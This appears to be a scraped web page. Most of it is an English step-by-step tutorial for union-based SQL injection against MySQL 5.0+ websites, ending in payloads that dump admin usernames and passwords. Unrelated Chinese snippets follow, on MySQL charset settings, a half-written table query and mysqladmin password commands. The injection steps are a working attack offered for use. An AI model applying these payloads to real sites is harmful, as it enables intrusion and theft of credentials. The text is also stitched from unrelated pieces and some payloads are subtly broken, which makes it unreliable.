[Injection]对MYSQL 5.0服务器以上版本注入

How to do a SQL Injection for MYSQL Server 5.0+
1. Find a vulnerable add a ‘ at the end of the site example: news.php?id=1 add a ‘ at the end of the 1 and see if you get a syntax error
2. order by #–
Keep upping the # until you get an error.
3. union all select 1,#,#,#,#,#–
Above 6 numbers if the site you have shows more then 6 or less then since you need to add or remove them
4. Find a column # that is showed from step 2 example if there are 5 columns shown you can pick column 2
5. concat_ws(0×3A,version(),@@version) in vulnerable column
add concat_ws(0×3A,version(),@@version) to a vulnerable column like column 2 see if it shows the SQL version if it don’t try adding a – before the php?id=-# and see if you get the version
Will show the version of the SQL Server recommended that it be 5.0
6. union all select 1,group_concat(table_name),#,#,#,# from information_schema.tables where table_schema=database()–
This selects all the the tables from the database.
7. Find a table your after like admin or like users or user whatever table you wanna see
8. union all select 1,group_concat(column_name),#,#,#,# from information_schema.columns where table_name=char(x)–
Replace x with the ASCII of table name You will need to convert Text to ASCII.
9. union all select 1,group_concat(table_name,0×3a,table_name)#,#,#,# from column_name–
Replace table_name with the table name your after the 0×3a is hex for “:” table_name would be replaced with the other table name yours after
so for example say you found a table named admin and you wanna see the username and password columns you’d do
union all select 1,group_concat(username,0×3a,password,0×3c62723e)#,#,#,# from table_name–
Basically its going to show the username 0×3a is hex for “:” then the password 0×3c62723e is hex for a “< br >” which breaks them

在mysql数据库中,使用的是latin字符集,所以无法正常的支持中文字符,中文在数据库中显示为乱码“?”号。为了让mysql可以正常使用中文,尤其是当使用jsp连接mysql的时候,我们需要使用gbk的字符集,因此我们要对mysql进行以下设置,以便其有效的支持中文:

昨天,我突然想把一个数据库里的每个表,以及每个表的非空总纪录数存在另一个表里面。
首先,创建了一个存放数据的表:
create table tables
(

number int
);
insert into tables select table_name from information_schema.tables where table_shema = 'test';
但是不知道有没有方法,将非空的 ......
mysql设置密码和修改密码:
/usr/local/mysql/bin/mysqladmin -uroot password 123456 第一次设密码。
mysqladmin -uroot -p password mypasswd 修改密码
输入这个命令后,需要输入root的原密码,然后root的密码将改为mypasswd。
